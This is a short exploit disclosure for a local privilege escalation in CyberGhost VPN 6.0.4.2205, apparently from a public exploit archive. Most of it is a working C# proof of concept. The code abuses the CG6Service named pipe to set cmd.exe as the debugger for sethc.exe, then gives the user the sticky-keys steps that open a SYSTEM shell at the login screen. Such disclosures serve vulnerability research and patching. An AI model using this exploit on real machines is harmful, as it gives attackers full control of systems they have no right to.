CyberGhost 6.0.4.2205 – Local Privilege Escalation
# Exploit CyberGhost 6.0.4.2205 Privilege Escalation # Date: 06.03.2017 # Software Link: http://www.cyberghostvpn.com/ # Exploit Author: Kacper Szurek # Contact: https://twitter.com/KacperSzurek # Website: https://security.szurek.pl/ # Category: local 1. Description `CG6Service` service has method `SetPeLauncherState` which allows launch the debugger automatically for every process we want. https://security.szurek.pl/cyberghost-6042205-privilege-escalation.html 2. Proof of Concept using System; using CyberGhost.Communication; namespace cyber { class Program { static void Main(string[] args) { Console.WriteLine("CyberGhost 6.0.4.2205 Privilege Escalation"); Console.WriteLine("by Kacper Szurek"); Console.WriteLine("http://security.szurek.pl/"); Console.WriteLine("https://twitter.com/KacperSzurek"); PeLauncherOptions options = new PeLauncherOptions(); options.ExecuteableName = "sethc.exe"; options.PeLauncherExecuteable = @"c:\Windows\System32\cmd.exe"; EventSender CyberGhostCom = CyberGhostCom = new EventSender("CyherGhostPipe"); CyberGhostCom.SetPeLauncherState(options, PeLauncherOperation.Add); Console.WriteLine("Now logout and then press SHIFT key 5 times"); } } } |